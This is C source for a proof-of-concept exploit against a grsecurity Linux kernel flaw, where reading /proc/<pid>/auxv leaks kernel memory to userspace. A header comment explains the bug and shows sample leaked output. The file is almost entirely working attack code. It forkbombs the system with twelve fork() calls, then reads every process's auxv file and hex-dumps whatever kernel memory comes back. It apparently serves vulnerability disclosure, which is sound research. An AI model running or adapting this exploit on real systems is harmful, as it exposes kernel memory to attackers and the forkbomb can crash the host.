/* * grsec_leak.c * * Linux Kernel grsecurity < 201109142336 Kernel Memory Disclosure * Jon Oberheide * http://jon.oberheide.org * * Information: * * http://www.grsecurity.net/~spender/changelog-test.txt * * When accessing /proc//auxv with GRKERNSEC_PROC_MEMMAP enabled * from a process not ptracing the target, an erroneous value is * returned from proc_pid_auxv() to proc_info_read(), resulting * in a potentially unbounded access to kernel memory and leading * to a potential information leak to userspace. * * Usage: * * $ gcc grsec_leak.c -o grsec_leak * $ ./grsec_leak * ... * 39 34 32 32 32 30 38 30 0a 53 65 70 20 32 36 20 31 37 3a 33 30 3a 35 32 20 64 69 6f 6e 79 73 75 94222080.Sep 26 17:30:52 dionysu * f0 6b 73 70 7f 00 00 00 b0 bc 72 70 7f 00 00 00 50 4f 73 70 7f 00 00 00 c0 40 73 70 7f 00 00 00 .ksp......rp....POsp.....@sp.... * 70 3d 73 70 7f 00 00 00 80 bc 72 70 7f 00 00 00 a0 ad 72 70 7f 00 00 00 d0 ad 72 70 7f 00 00 00 p=sp......rp......rp......rp.... * ... * * Notes: * * To trigger this vuln, we need to make proc_pid_auxv() return a positive * value to perform a large copy of kernel memory to userspace. To do so, * PTR_ERR(mm) needs to be a positive signed integer, which means we need * to read the /proc/pid/auxv of a task whose mm_struct is less than * 0xffff880080000000. To achieve such a task, we just forkbomb the crap * out of the system until we get a suitable allocation for our mm_struct. * * If you don't see any output when you run it the first time, try a few * more times and add additional forks if necessary. If your system explodes * due to the forkbombing, remove a few. * * First introduced in grsecurity-2.2.2-2.6.39-201105231910 due to changes in * proc_pid_auxv() that fixed CVE-2011-1020. Some rogue copies to userspace * may be caught by CONFIG_PAX_USERCOPY if you have it enabled. A USERCOPY * violation will also lockout your uid if CONFIG_GRKERNSEC_KERN_LOCKOUT is * enabled. Fixed in grsecurity-2.2.2-3.0.4-201109261052. */ #include #include #include #include #include #include #include #include #include #include #include const char hex_asc[] = "0123456789abcdef"; #define hex_asc_lo(x) hex_asc[((x) & 0x0f)] #define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4] void hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii) { const uint8_t *ptr = buf; uint8_t ch; int j, lx = 0; int ascii_column; if (rowsize != 16 && rowsize != 32) rowsize = 16; if (!len) goto nil; if (len > rowsize) len = rowsize; if ((len % groupsize) != 0) groupsize = 1; switch (groupsize) { case 8: { const uint64_t *ptr8 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%16.16llx ", (unsigned long long)*(ptr8 + j)); ascii_column = 17 * ngroups + 2; break; } case 4: { const uint32_t *ptr4 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%8.8x ", *(ptr4 + j)); ascii_column = 9 * ngroups + 2; break; } case 2: { const uint16_t *ptr2 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%4.4x ", *(ptr2 + j)); ascii_column = 5 * ngroups + 2; break; } default: for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen; j++) { ch = ptr[j]; linebuf[lx++] = hex_asc_hi(ch); linebuf[lx++] = hex_asc_lo(ch); linebuf[lx++] = ' '; } ascii_column = 3 * rowsize + 2; break; } if (!ascii) goto nil; while (lx < (linebuflen - 1) && lx < (ascii_column - 1)) linebuf[lx++] = ' '; for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++) linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j] : '.'; nil: linebuf[lx++] = '\0'; } void print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii) { const uint8_t *ptr = buf; int i, linelen, remaining = len; unsigned char linebuf[200]; if (rowsize != 16 && rowsize != 32) rowsize = 16; for (i = 0; i < len; i += rowsize) { linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize)); remaining -= rowsize; hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize, linebuf, sizeof(linebuf), ascii); printf("%s\n", linebuf); } } int main(int argc, char **argv) { DIR *dir; struct dirent *dentry; char path[256], chunk[4096]; int fd, bytes; /* o_O */ fork();fork();fork();fork(); fork();fork();fork();fork(); fork();fork();fork();fork(); dir = opendir("/proc"); if (!dir) { printf("[-] failed opening /proc, aborting!\n"); exit(1); } while ((dentry = readdir(dir)) != NULL) { if (!isdigit(dentry->d_name[0])) { continue; } if (getpid() == atoi(dentry->d_name)) { continue; } snprintf(path, sizeof(path), "/proc/%s/auxv", dentry->d_name); fd = open(path, O_RDONLY); if (fd == -1) { continue; } while (1) { memset(chunk, 0, sizeof(chunk)); bytes = read(fd, chunk, sizeof(chunk)); if (bytes <= 0) { close(fd); break; } print_hex_dump(32, 1, chunk, bytes, 1); } } }